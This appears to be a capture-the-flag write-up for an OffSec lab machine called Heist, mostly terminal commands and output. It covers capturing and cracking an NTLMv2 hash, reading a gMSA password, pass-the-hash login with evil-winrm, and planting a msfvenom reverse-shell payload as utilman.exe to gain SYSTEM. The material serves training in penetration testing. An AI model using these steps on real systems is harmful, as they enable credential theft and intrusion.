Heist

Information Gathering

NMAP - Ports and Services

Host is up (0.25s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-10 17:18:11Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2025-02-09T17:05:10
|_Not valid after:  2025-08-11T17:05:10
|_ssl-date: 2025-02-10T17:19:42+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: HEIST
|   NetBIOS_Domain_Name: HEIST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: heist.offsec
|   DNS_Computer_Name: DC01.heist.offsec
|   DNS_Tree_Name: heist.offsec
|   Product_Version: 10.0.17763
|_  System_Time: 2025-02-10T17:19:03+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-title: Super Secure Web Browser
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49758/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-02-10T17:19:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.81 seconds

Initial Access

8080

Manual Inspection

Capturing NTML

sudo responder -I tun0

[HTTP] NTLMv2 Hash     : enox::HEIST:df3af35e10799683:D35D76B953F8754D84AAE6F87D85A63D:01010000000000002667A3FCE17BDB015E48EACA692016D50000000002000800310039003300470001001E00570049004E002D0047004C004B00530055005500410058003700310057000400140031003900330047002E004C004F00430041004C0003003400570049004E002D0047004C004B00530055005500410058003700310057002E0031003900330047002E004C004F00430041004C000500140031003900330047002E004C004F00430041004C000800300030000000000000000000000000300000E76903FAA620CA02A3BA99301233906A7CA998BF4EA2CA4A0156643093D35E6D0A001000000000000000000000000000000000000900260048005400540050002F003100390032002E003100360038002E00340035002E003200310037000000000000000000 

#responder logs location  : /usr/share/responder/logs/

#crack with hashcat 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

ENOX::HEIST:c32e1b9fef7e4b49:25011151a8b946102b898a20b15ffccc:0101000000000000333509f1e27bdb012122f416ecbbe6eb0000000002000800550033003000330001001e00570049004e002d0032004300590048004a003700480048003200570051000400140055003300300033002e004c004f00430041004c0003003400570049004e002d0032004300590048004a003700480048003200570051002e0055003300300033002e004c004f00430041004c000500140055003300300033002e004c004f00430041004c000800300030000000000000000000000000300000e76903faa620ca02a3ba99301233906a7ca998bf4ea2ca4a0156643093d35e6d0a001000000000000000000000000000000000000900260048005400540050002f003100390032002e003100360038002e00340035002e003200310037000000000000000000:california

crack hash from /usr/share/responder/logs/ DON'T COPY PASTE FROM OUTPUT TERMINAL

Bloodhound

C:\Users\enox\Documents>gmsapasswordreader.exe --accountname svc_apache
gmsapasswordreader.exe --accountname svc_apache

Calculating hashes for Old Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : CAC8E7C043BE5FA304438E362909B953

[*]       aes128_cts_hmac_sha1 : 3581DA4598B4DB20BFE9A116AC6AAC3A
[*]       aes256_cts_hmac_sha1 : 0BD2C803489AA5F9E86E3DC67E41D22EF5D1A4F057008BC1EE75F4E17DFF73F6
[*]       des_cbc_md5          : 683B760BB6ECD394

Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : D95B7A434DB03986ECB56DDE39327B1B
[*]       aes128_cts_hmac_sha1 : 1292C3F208DFF35F7E13E4E2C84E7233
[*]       aes256_cts_hmac_sha1 : 32EF0C9013A47647947EE16B24C6188F0C45355EB18A4B20B7AADDB8356DB92D
[*]       des_cbc_md5          : 2AE31A0783456DCD

┌──(me㉿kali)-[~/ctf/offsec/heist/gMSADumper]
└─$ bloodyAD --host 192.168.236.165 -d heist.offsec -u enox -p california get object svc_apache$ --attr msDS-ManagedPassword

distinguishedName: CN=svc_apache,CN=Managed Service Accounts,DC=heist,DC=offsec
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:d95b7a434db03986ecb56dde39327b1b
msDS-ManagedPassword.B64ENCODED: j/j1veV4MUJlJk1ajb+CdmxkpUG4ZJ/4t2JNIWVZ0xjitEFGnQhaL/Hi+ZzQ23wuL4Vouo6NKK8zBF7+jxVg6mX1vMUsrt3ffAC2yHmlDtaLBxKcN6KCKpO5eKPzJVvibivaNtla5wiYy3rRIRWVLbNUI1yT4cwnx2A5eDWjx77/1bq6D79bOBEemrLHncriMxZlQ==
                                                                                           

Priv Esc

┌──(me㉿kali)-[~/ctf/offsec/heist]
└─$ nxc winrm 192.168.236.165 -u svc_apache$ -H d95b7a434db03986ecb56dde39327b1b
WINRM       192.168.236.165 5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:heist.offsec)
WINRM       192.168.236.165 5985   DC01             [+] heist.offsec\svc_apache$:d95b7a434db03986ecb56dde39327b1b (Pwn3d!)

┌──(me㉿kali)-[~/ctf/offsec/heist]
└─$ evil-winrm -i 192.168.236.165 -u svc_apache$ -H d95b7a434db03986ecb56dde39327b1b
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeRestorePrivilege

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> move C:\windows\system32\utilman.exe C:\windows\system32\utilman.exe.old

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.217 LPORT=1337 --platform windows -f exe -o utilman.exe

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> upload utilman.exe
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> move utilman.exe C:\windows\system32\utilman.exe

└─$ nc -lnvp 1337

┌──(me㉿kali)-[~/ctf/offsec/heist]
└─$ rdesktop 192.168.236.165

WIN+U

Machine Recap

1. ports and service scan

2. SSRF get enox NTLM Hash

3. active directory mapping dengan bloodhound

4. abusing ReadGMSAPassword privileges dengan gmsapasswordreader.exe

5. evil-winrm ke svc_apache

6. privesc dengan abusin SeRestorePrivilege